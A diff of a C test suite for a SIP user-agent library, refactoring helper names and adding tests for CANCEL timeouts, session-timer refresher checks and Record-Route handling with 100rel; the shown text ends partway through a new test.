@@ -692,30 +713,30 @@
   nua_handle_t *nh;
   struct message *invite, *cancel;
 
-  s2_case("2.2.1", "Cancel call",
+  S2_CASE("2.2.1", "Cancel call",
 	  "NUA is caller, NUA sends CANCEL immediately");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   nua_invite(nh, SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
 	     TAG_END());
   fail_unless(s2_check_callstate(nua_callstate_calling));
   nua_cancel(nh, TAG_END());
 
-  invite = s2_wait_for_request(SIP_METHOD_INVITE);
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
   fail_if(!invite);
-  fail_if(s2->received != NULL);
-  s2_respond_to(invite, dialog, SIP_100_TRYING, TAG_END());
-  cancel = s2_wait_for_request(SIP_METHOD_CANCEL);
+  fail_if(s2sip->received != NULL);
+  s2_sip_respond_to(invite, dialog, SIP_100_TRYING, TAG_END());
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
   fail_if(!cancel);
-  s2_respond_to(invite, dialog, SIP_487_REQUEST_CANCELLED, TAG_END());
-  s2_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
+  s2_sip_respond_to(invite, dialog, SIP_487_REQUEST_CANCELLED, TAG_END());
+  s2_sip_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
 
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
 
-  fail_unless(s2_check_event(nua_r_invite, 487));
+  fail_unless_event(nua_r_invite, 487);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
-  fail_unless(s2_check_event(nua_r_cancel, 200));
+  fail_unless_event(nua_r_cancel, 200);
   fail_if(s2->events != NULL);
 
   nua_handle_destroy(nh);
@@ -728,18 +749,18 @@
   nua_handle_t *nh;
   struct message *invite;
 
-  s2_case("2.2.2", "Canceled call",
+  S2_CASE("2.2.2", "Canceled call",
 	  "NUA is caller, NUA sends CANCEL after receiving 100");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   nua_invite(nh, SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
 	     TAG_END());
   fail_unless(s2_check_callstate(nua_callstate_calling));
 
-  invite = s2_wait_for_request(SIP_METHOD_INVITE);
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
   process_offer(invite);
-  s2_respond_to(invite, dialog, SIP_100_TRYING, TAG_END());
+  s2_sip_respond_to(invite, dialog, SIP_100_TRYING, TAG_END());
 
   cancel_by_nua(nh, invite, dialog, TAG_END());
 
@@ -755,22 +776,22 @@
   nua_handle_t *nh;
   struct message *invite;
 
-  s2_case("2.2.3", "Canceled call",
+  S2_CASE("2.2.3", "Canceled call",
 	  "NUA is caller, NUA sends CANCEL after receiving 180");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   nua_invite(nh, SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
 	     TAG_END());
   fail_unless(s2_check_callstate(nua_callstate_calling));
 
-  invite = s2_wait_for_request(SIP_METHOD_INVITE);
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
   process_offer(invite);
   respond_with_sdp(
     invite, dialog, SIP_180_RINGING,
     SIPTAG_CONTENT_DISPOSITION_STR("session;handling=optional"),
     TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 180));
+  fail_unless_event(nua_r_invite, 180);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   cancel_by_nua(nh, invite, dialog, TAG_END());
@@ -786,36 +807,36 @@
   nua_handle_t *nh;
   struct message *invite, *cancel;
 
-  s2_case("2.2.4", "Cancel and 200 OK glare",
+  S2_CASE("2.2.4", "Cancel and 200 OK glare",
 	  "NUA is caller, NUA sends CANCEL after receiving 180 "
 	  "but UAS already sent 200 OK.");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   nua_invite(nh, SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
 	     TAG_END());
   fail_unless(s2_check_callstate(nua_callstate_calling));
 
-  invite = s2_wait_for_request(SIP_METHOD_INVITE);
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
   process_offer(invite);
   respond_with_sdp(
     invite, dialog, SIP_180_RINGING,
     SIPTAG_CONTENT_DISPOSITION_STR("session;handling=optional"),
     TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 180));
+  fail_unless_event(nua_r_invite, 180);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   nua_cancel(nh, TAG_END());
-  cancel = s2_wait_for_request(SIP_METHOD_CANCEL);
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
   fail_if(!cancel);
 
   respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
 
-  s2_respond_to(cancel, dialog, SIP_481_NO_TRANSACTION, TAG_END());
-  s2_free_message(cancel);
-  fail_unless(s2_check_event(nua_r_cancel, 481));
+  s2_sip_respond_to(cancel, dialog, SIP_481_NO_TRANSACTION, TAG_END());
+  s2_sip_free_message(cancel);
+  fail_unless_event(nua_r_cancel, 481);
 
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
 
   fail_unless(s2_check_callstate(nua_callstate_ready));
 
@@ -831,48 +852,48 @@
   nua_handle_t *nh;
   struct message *invite, *cancel, *bye;
 
-  s2_case(
+  S2_CASE(
     "2.2.5", "Cancel and 200 OK glare",
     "NUA is caller, "
     "NUA uses nua_bye() to send CANCEL after receiving 180\n"
     "but UAS already sent 200 OK.\n"
     "Test case checks that NUA really sends BYE after nua_bye() is called\n");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   nua_invite(nh, SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
 	     NUTAG_AUTOACK(0),
 	     TAG_END());
   fail_unless(s2_check_callstate(nua_callstate_calling));
 
-  invite = s2_wait_for_request(SIP_METHOD_INVITE);
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
   process_offer(invite);
   respond_with_sdp(
     invite, dialog, SIP_180_RINGING,
     SIPTAG_CONTENT_DISPOSITION_STR("session;handling=optional"),
     TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 180));
+  fail_unless_event(nua_r_invite, 180);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   nua_bye(nh, TAG_END());
-  cancel = s2_wait_for_request(SIP_METHOD_CANCEL);
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
   fail_if(!cancel);
 
   respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
 
-  s2_respond_to(cancel, dialog, SIP_481_NO_TRANSACTION, TAG_END());
-  s2_free_message(cancel);
-  fail_unless(s2_check_event(nua_r_cancel, 481));
+  s2_sip_respond_to(cancel, dialog, SIP_481_NO_TRANSACTION, TAG_END());
+  s2_sip_free_message(cancel);
+  fail_unless_event(nua_r_cancel, 481);
 
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
 
   fail_unless(s2_check_callstate(nua_callstate_terminating));
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
-  fail_unless(s2_check_event(nua_r_bye, 200));
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
+  fail_unless_event(nua_r_bye, 200);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
 
   nua_handle_destroy(nh);
@@ -886,7 +907,7 @@
   struct event *invite;
   struct message *response;
 
-  s2_case("2.2.6", "Cancel call",
+  S2_CASE("2.2.6", "Cancel call",
 	  "NUA is callee, sends 100, 180, INVITE gets canceled");
 
   soa_generate_offer(soa, 1, NULL);
@@ -899,7 +920,7 @@
 
   s2_free_event(invite);
 
-  response = s2_wait_for_response(100, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(100, SIP_METHOD_INVITE);
   fail_if(!response);
 
   nua_respond(nh, SIP_180_RINGING,
@@ -907,22 +928,22 @@
 	      TAG_END());
   fail_unless(s2_check_callstate(nua_callstate_early));
 
-  response = s2_wait_for_response(180, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(180, SIP_METHOD_INVITE);
   fail_if(!response);
-  s2_update_dialog(dialog, response);
+  s2_sip_update_dialog(dialog, response);
   process_answer(response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
-  fail_if(s2_request_to(dialog, SIP_METHOD_CANCEL, NULL, TAG_END()));
-  fail_unless(s2_check_event(nua_i_cancel, 200));
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_CANCEL, NULL, TAG_END()));
+  fail_unless_event(nua_i_cancel, 200);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
 
-  response = s2_wait_for_response(200, SIP_METHOD_CANCEL);
+  response = s2_sip_wait_for_response(200, SIP_METHOD_CANCEL);
   fail_if(!response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
-  response = s2_wait_for_response(487, SIP_METHOD_INVITE);
-  fail_if(s2_request_to(dialog, SIP_METHOD_ACK, NULL,
+  response = s2_sip_wait_for_response(487, SIP_METHOD_INVITE);
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL,
 			SIPTAG_VIA(sip_object(dialog->invite)->sip_via),
 			TAG_END()));
 
@@ -938,7 +959,7 @@
   struct message *response;
   char const *via = "SIP/2.0/UDP host.in.invalid;rport";
 
-  s2_case("2.2.7", "Call gets canceled",
+  S2_CASE("2.2.7", "Call gets canceled",
 	  "NUA is callee, sends 100, 180, INVITE gets canceled. "
 	  "Using RFC 2543 dialog and transaction matching.");
 
@@ -954,7 +975,7 @@
 
   s2_free_event(invite);
 
-  response = s2_wait_for_response(100, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(100, SIP_METHOD_INVITE);
   fail_if(!response);
 
   nua_respond(nh, SIP_180_RINGING,
@@ -962,22 +983,22 @@
 	      TAG_END());
   fail_unless(s2_check_callstate(nua_callstate_early));
 
-  response = s2_wait_for_response(180, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(180, SIP_METHOD_INVITE);
   fail_if(!response);
-  s2_update_dialog(dialog, response);
+  s2_sip_update_dialog(dialog, response);
   process_answer(response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
-  fail_if(s2_request_to(dialog, SIP_METHOD_CANCEL, NULL, TAG_END()));
-  fail_unless(s2_check_event(nua_i_cancel, 200));
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_CANCEL, NULL, TAG_END()));
+  fail_unless_event(nua_i_cancel, 200);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
 
-  response = s2_wait_for_response(200, SIP_METHOD_CANCEL);
+  response = s2_sip_wait_for_response(200, SIP_METHOD_CANCEL);
   fail_if(!response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
-  response = s2_wait_for_response(487, SIP_METHOD_INVITE);
-  fail_if(s2_request_to(dialog, SIP_METHOD_ACK, NULL,
+  response = s2_sip_wait_for_response(487, SIP_METHOD_INVITE);
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL,
 			SIPTAG_VIA(sip_object(dialog->invite)->sip_via),
 			TAG_END()));
 
@@ -985,10 +1006,165 @@
 }
 END_TEST
 
-TCase *cancel_tcase(void)
+
+START_TEST(cancel_2_2_8)
 {
+  nua_handle_t *nh;
+  struct message *invite, *cancel;
+  int timeout;
+
+  S2_CASE("2.2.8", "CANCEL and INVITE times out",
+	  "NUA is caller, NUA sends CANCEL after receiving 180 "
+	  "but UAS never responds.");
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+
+  nua_invite(nh, SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
+	     TAG_END());
+  fail_unless(s2_check_callstate(nua_callstate_calling));
+
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
+  process_offer(invite);
+  respond_with_sdp(
+    invite, dialog, SIP_180_RINGING,
+    SIPTAG_CONTENT_DISPOSITION_STR("session;handling=optional"),
+    TAG_END());
+  fail_unless_event(nua_r_invite, 180);
+  fail_unless(s2_check_callstate(nua_callstate_proceeding));
+
+  nua_cancel(nh, TAG_END());
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
+  s2_sip_free_message(cancel);
+  fail_if(!cancel);
+
+  /* Now, time out both CANCEL and INVITE */
+  for (timeout = 0; timeout < 34; timeout++) {
+    s2_nua_fast_forward(1, s2base->root);
+    cancel = s2_sip_next_request(SIP_METHOD_CANCEL);
+    if (cancel)
+      s2_sip_free_message(cancel);
+  }
+
+  fail_unless_event(nua_r_cancel, 408);
+  fail_unless_event(nua_r_invite, 408);
+  fail_unless(s2_check_callstate(nua_callstate_terminated));
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(cancel_2_2_9)
+{
+  nua_handle_t *nh;
+  struct message *invite, *cancel;
+  int timeout;
+
+  S2_CASE("2.2.9", "CANCEL a RFC2543 UA",
+	  "NUA is caller, NUA sends CANCEL after receiving 180, "
+	  "UAS sends 200 OK to CANCEL but no response to INVITE.");
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+
+  nua_invite(nh, SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
+	     TAG_END());
+  fail_unless(s2_check_callstate(nua_callstate_calling));
+
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
+  process_offer(invite);
+  respond_with_sdp(
+    invite, dialog, SIP_180_RINGING,
+    SIPTAG_CONTENT_DISPOSITION_STR("session;handling=optional"),
+    TAG_END());
+  fail_unless_event(nua_r_invite, 180);
+  fail_unless(s2_check_callstate(nua_callstate_proceeding));
+
+  nua_cancel(nh, TAG_END());
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
+  fail_if(!cancel);
+  s2_sip_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(cancel);
+
+  /* Time out INVITE */
+  for (timeout = 0; timeout < 34; timeout++) {
+    s2_nua_fast_forward(1, s2base->root);
+  }
+
+  fail_unless_event(nua_r_invite, 408);
+  fail_unless(s2_check_callstate(nua_callstate_terminated));
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(cancel_2_2_10)
+{
+  nua_handle_t *nh;
+  struct message *invite, *cancel;
+  struct event *event;
+  int timeout;
+
+  S2_CASE("2.2.10", "CANCEL and INVITE times out",
+	  "NUA is caller, NUA sends CANCEL after receiving 180 "
+	  "but UAS never responds.");
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+
+  nua_invite(nh, SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
+	     TAG_END());
+  fail_unless(s2_check_callstate(nua_callstate_calling));
+
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
+  process_offer(invite);
+  respond_with_sdp(
+    invite, dialog, SIP_180_RINGING,
+    SIPTAG_CONTENT_DISPOSITION_STR("session;handling=optional"),
+    TAG_END());
+  fail_unless_event(nua_r_invite, 180);
+  fail_unless(s2_check_callstate(nua_callstate_proceeding));
+
+  nua_cancel(nh, TAG_END());
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
+  s2_sip_free_message(cancel);
+  fail_if(!cancel);
+
+  nua_cancel(nh, TAG_END());
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
+  fail_if(!cancel);
+  s2_sip_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(cancel);
+
+  /* emulate network gone bad below
+     zap registration handle here
+     so that s2_register_teardown() does not hang
+  */
+  s2->registration->nh = NULL;
+
+  nua_set_params(s2->nua, NUTAG_SHUTDOWN_EVENTS(1), TAG_END());
+  fail_unless_event(nua_r_set_params, 200);
+
+  nua_shutdown(s2->nua);
+  event = s2_wait_for_event(nua_r_shutdown, 100);
+  fail_unless(event != NULL);
+  s2_free_event(event);
+
+  /* Time out */
+  for (timeout = 0; timeout < 34; timeout++) {
+    s2_nua_fast_forward(5, s2base->root);
+    nua_shutdown(s2->nua);
+    event = s2_wait_for_event(nua_r_shutdown, 0);
+    fail_unless(event != NULL);
+    if (event->data->e_status >= 200)
+      break;
+  }
+
+  s2->shutdown = 200;
+}
+END_TEST
+
+
+
+TCase *cancel_tcase(int threading)
+{
   TCase *tc = tcase_create("2.2 - CANCEL");
-  tcase_add_checked_fixture(tc, call_setup, call_teardown);
+  add_call_fixtures(tc, threading);
 
   tcase_add_test(tc, cancel_2_2_1);
   tcase_add_test(tc, cancel_2_2_2);
@@ -997,6 +1173,9 @@
   if (XXX) tcase_add_test(tc, cancel_2_2_5);
   tcase_add_test(tc, cancel_2_2_6);
   tcase_add_test(tc, cancel_2_2_7);
+  tcase_add_test(tc, cancel_2_2_8);
+  tcase_add_test(tc, cancel_2_2_9);
+  tcase_add_test(tc, cancel_2_2_10);
 
   return tc;
 }
@@ -1005,31 +1184,47 @@
 /* ---------------------------------------------------------------------- */
 /* 2.3 - Session timers */
 
-static void invite_timer_round(nua_handle_t *nh,
-			       char const *session_expires)
+/* Wait for invite from NUA */
+static struct message *
+invite_timer_round(nua_handle_t *nh,
+		   char const *session_expires,
+		   sip_record_route_t *rr)
 {
   struct message *invite, *ack;
 
   fail_unless(s2_check_callstate(nua_callstate_calling));
-  invite = s2_wait_for_request(SIP_METHOD_INVITE);
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
   process_offer(invite);
+  /* Check that INVITE contains Session-Expires header with refresher=uac */
+  fail_unless(invite->sip->sip_session_expires != NULL);
+  fail_unless(su_casematch(invite->sip->sip_session_expires->x_refresher, "uac"));
   respond_with_sdp(
     invite, dialog, SIP_200_OK,
     SIPTAG_SESSION_EXPIRES_STR(session_expires),
     SIPTAG_REQUIRE_STR("timer"),
+    SIPTAG_RECORD_ROUTE(rr),
     TAG_END());
-  s2_free_message(invite);
-  fail_unless(s2_check_event(nua_r_invite, 200));
+  s2_sip_free_message(invite);
+  fail_unless_event(nua_r_invite, 200);
   fail_unless(s2_check_callstate(nua_callstate_ready));
-  ack = s2_wait_for_request(SIP_METHOD_ACK);
-  s2_free_message(ack);
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
+  if (rr == NULL)
+    s2_sip_free_message(ack);
+  return ack;
 }
 
 START_TEST(call_2_3_1)
 {
   nua_handle_t *nh;
+  sip_record_route_t rr[1];
+  struct message *ack;
 
-  s2_case("2.3.1", "Incoming call with call timers",
+  sip_record_route_init(rr);
+  *rr->r_url = *s2sip->contact->m_url;
+  rr->r_url->url_user = "record";
+  rr->r_url->url_params = "lr";
+
+  S2_CASE("2.3.1", "Incoming call with call timers",
 	  "NUA receives INVITE, "
 	  "activates call timers, "
 	  "sends re-INVITE twice, "
@@ -1040,10 +1235,12 @@
     SIPTAG_REQUIRE_STR("timer"),
     TAG_END());
 
-  s2_fast_forward(300);
-  invite_timer_round(nh, "300;refresher=uac");
-  s2_fast_forward(300);
-  invite_timer_round(nh, "300;refresher=uac");
+  s2_nua_fast_forward(300, s2base->root);
+  ack = invite_timer_round(nh, "300;refresher=uac", rr);
+  fail_if(ack->sip->sip_route &&
+	  su_strmatch(ack->sip->sip_route->r_url->url_user, "record"));
+  s2_nua_fast_forward(300, s2base->root);
+  invite_timer_round(nh, "300;refresher=uac", NULL);
 
   bye_by_nua(nh, TAG_END());
 
@@ -1055,7 +1252,7 @@
 {
   nua_handle_t *nh;
 
-  s2_case("2.3.2", "Incoming call with call timers",
+  S2_CASE("2.3.2", "Incoming call with call timers",
 	  "NUA receives INVITE, "
 	  "activates call timers, "
 	  "sends re-INVITE, "
@@ -1066,10 +1263,10 @@
     SIPTAG_REQUIRE_STR("timer"),
     TAG_END());
 
-  s2_fast_forward(300);
-  invite_timer_round(nh, "300");
-  s2_fast_forward(300);
-  invite_timer_round(nh, "300");
+  s2_nua_fast_forward(300, s2base->root);
+  invite_timer_round(nh, "300;refresher=uac", NULL);
+  s2_nua_fast_forward(300, s2base->root);
+  invite_timer_round(nh, "300;refresher=uac", NULL);
 
   bye_by_nua(nh, TAG_END());
 
@@ -1077,80 +1274,15 @@
 }
 END_TEST
 
-START_TEST(call_2_3_3)
-{
-  nua_handle_t *nh;
-  struct message *response;
 
-  s2_case("2.3.3", "Handling re-INVITE without SDP gracefully",
-	  "NUA receives INVITE, "
-	  "re-INVITE without SDP (w/o NUTAG_REFRESH_WITHOUT_SDP(), "
-	  "re-INVITE without SDP (using NUTAG_REFRESH_WITHOUT_SDP(), "
-	  "sends BYE.");
 
-  nh = invite_to_nua(
-    TAG_END());
-
-  s2_request_to(dialog, SIP_METHOD_INVITE, NULL,
-		SIPTAG_USER_AGENT_STR("evil (evil) evil"),
-		TAG_END());
-
-  nua_respond(nh, SIP_200_OK, TAG_END());
-
-  fail_unless(s2_check_callstate(nua_callstate_completed));
-
-  response = s2_wait_for_response(200, SIP_METHOD_INVITE);
-
-  fail_if(!response);
-  s2_update_dialog(dialog, response);
-  fail_if(!response->sip->sip_content_type);
-  s2_free_message(response);
-
-  fail_if(s2_request_to(dialog, SIP_METHOD_ACK, NULL, TAG_END()));
-
-  fail_unless(s2_check_event(nua_i_ack, 200));
-  fail_unless(s2_check_callstate(nua_callstate_ready));
-
-  s2_fast_forward(10);
-
-  nua_set_hparams(nh, NUTAG_REFRESH_WITHOUT_SDP(1), TAG_END());
-  fail_unless(s2_check_event(nua_r_set_params, 200));
-
-  s2_request_to(dialog, SIP_METHOD_INVITE, NULL,
-		SIPTAG_USER_AGENT_STR("evil (evil) evil"),
-		TAG_END());
-
-  nua_respond(nh, SIP_200_OK, TAG_END());
-
-  fail_unless(s2_check_callstate(nua_callstate_completed));
-
-  response = s2_wait_for_response(200, SIP_METHOD_INVITE);
-
-  fail_if(!response);
-  s2_update_dialog(dialog, response);
-  fail_if(response->sip->sip_content_type);
-  s2_free_message(response);
-
-  fail_if(s2_request_to(dialog, SIP_METHOD_ACK, NULL, TAG_END()));
-
-  fail_unless(s2_check_event(nua_i_ack, 200));
-  fail_unless(s2_check_callstate(nua_callstate_ready));
-
-  bye_by_nua(nh, TAG_END());
-
-  nua_handle_destroy(nh);
-}
-END_TEST
-
-
-TCase *session_timer_tcase(void)
+TCase *session_timer_tcase(int threading)
 {
   TCase *tc = tcase_create("2.3 - Session timers");
-  tcase_add_checked_fixture(tc, call_setup, call_teardown);
+  add_call_fixtures(tc, threading);
   {
     tcase_add_test(tc, call_2_3_1);
     tcase_add_test(tc, call_2_3_2);
-    tcase_add_test(tc, call_2_3_3);
   }
   return tc;
 }
@@ -1161,17 +1293,23 @@
 START_TEST(call_2_4_1)
 {
   nua_handle_t *nh;
-  struct message *invite, *prack;
+  struct message *invite, *prack, *ack;
   int with_sdp;
+  sip_record_route_t rr[1];
 
-  s2_case("2.4.1", "Call with 100rel",
+  S2_CASE("2.4.1", "Call with 100rel",
 	  "NUA sends INVITE, "
 	  "receives 183, sends PRACK, receives 200 for it, "
 	  "receives 180, sends PRACK, receives 200 for it, "
           "receives 200, send ACK.");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  sip_record_route_init(rr);
+  *rr->r_url = *s2sip->contact->m_url;
+  rr->r_url->url_user = "record";
+  rr->r_url->url_params = "lr";
 
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+
   invite = invite_sent_by_nua(
     nh, SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
     TAG_END());
@@ -1179,25 +1317,36 @@
 
   prack = respond_with_100rel(invite, dialog, with_sdp = 1,
 			      SIP_183_SESSION_PROGRESS,
+			      SIPTAG_RECORD_ROUTE(rr),
 			      TAG_END());
-  s2_respond_to(prack, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(prack), prack = NULL;
+  s2_sip_respond_to(prack, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(prack), prack = NULL;
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
-  fail_unless(s2_check_event(nua_r_prack, 200));
+  fail_unless_event(nua_r_prack, 200);
 
   prack = respond_with_100rel(invite, dialog, with_sdp = 0,
 			      SIP_180_RINGING,
 			      TAG_END());
-  s2_respond_to(prack, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(prack), prack = NULL;
+  fail_unless(prack->sip->sip_route != NULL);
+  fail_unless(su_strmatch(prack->sip->sip_route->r_url->url_user, "record"));
+
+  s2_sip_respond_to(prack, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(prack), prack = NULL;
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
-  fail_unless(s2_check_event(nua_r_prack, 200));
+  fail_unless_event(nua_r_prack, 200);
 
-  s2_respond_to(invite, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(invite);
-  fail_unless(s2_check_event(nua_r_invite, 200));
+  /* Change the record-route */
+  rr->r_url->url_user = "record2";
+  s2_sip_respond_to(invite, dialog, SIP_200_OK,
+		SIPTAG_RECORD_ROUTE(rr),
+		TAG_END());
+  s2_sip_free_message(invite);
+  fail_unless_event(nua_r_invite, 200);
   fail_unless(s2_check_callstate(nua_callstate_ready));
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
+  fail_if(!ack);
+  fail_unless(su_strmatch(ack->sip->sip_route->r_url->url_user, "record2"));
+  s2_sip_free_message(ack);
 
   bye_to_nua(nh, TAG_END());
 
@@ -1211,13 +1360,13 @@
   struct message *invite, *prack;
   int with_sdp;
 
-  s2_case("2.4.2", "Call with 100rel",
+  S2_CASE("2.4.2", "Call with 100rel",
 	  "NUA sends INVITE, "
 	  "receives 183, sends PRACK, receives 200 for it, "
 	  "receives 180, sends PRACK, receives 200 for it, "
           "receives 200, send ACK.");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite = invite_sent_by_nua(
     nh,
@@ -1234,24 +1383,24 @@
   prack = respond_with_100rel(invite, dialog, with_sdp = 0,
 			      SIP_183_SESSION_PROGRESS,
 			      TAG_END());
-  s2_respond_to(prack, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(prack), prack = NULL;
+  s2_sip_respond_to(prack, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(prack), prack = NULL;
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
-  fail_unless(s2_check_event(nua_r_prack, 200));
+  fail_unless_event(nua_r_prack, 200);
 
   prack = respond_with_100rel(invite, dialog, with_sdp = 0,
 			      SIP_180_RINGING,
 			      TAG_END());
-  s2_respond_to(prack, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(prack), prack = NULL;
+  s2_sip_respond_to(prack, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(prack), prack = NULL;
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
-  fail_unless(s2_check_event(nua_r_prack, 200));
+  fail_unless_event(nua_r_prack, 200);
 
-  s2_respond_to(invite, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(invite);
-  fail_unless(s2_check_event(nua_r_invite, 200));
+  s2_sip_respond_to(invite, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(invite);
+  fail_unless_event(nua_r_invite, 200);
   fail_unless(s2_check_callstate(nua_callstate_ready));
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
 
   bye_to_nua(nh, TAG_END());
 
@@ -1259,13 +1408,178 @@
 }
 END_TEST
 
-TCase *invite_100rel_tcase(void)
+START_TEST(call_2_4_3)
 {
+  struct message *response;
+
+  S2_CASE("2.4.3", "Call without 100rel",
+	  "NUA receives INVITE with Required: 100rel, "
+	  "rejects it with 420");
+
+  nua_set_params(s2->nua,
+		 SIPTAG_SUPPORTED(SIP_NONE),
+		 SIPTAG_SUPPORTED_STR("timer"),
+		 TAG_END());
+  fail_unless_event(nua_r_set_params, 200);
+
+  soa_generate_offer(soa, 1, NULL);
+  request_with_sdp(dialog, SIP_METHOD_INVITE, NULL,
+		   SIPTAG_REQUIRE_STR("100rel"),
+		   TAG_END());
+
+  response = s2_sip_wait_for_response(420, SIP_METHOD_INVITE);
+  fail_if(!response);
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL, TAG_END()));
+}
+END_TEST
+
+START_TEST(call_2_4_4)
+{
+  nua_handle_t *nh;
+  struct event *invite;
+  struct message *response;
+
+  S2_CASE("2.4.3", "Call without 100rel",
+	  "NUA receives INVITE with Supported: 100rel, "
+	  "proceeds normally");
+
+  nua_set_params(s2->nua,
+		 SIPTAG_SUPPORTED(SIP_NONE),
+		 SIPTAG_SUPPORTED_STR("timer"),
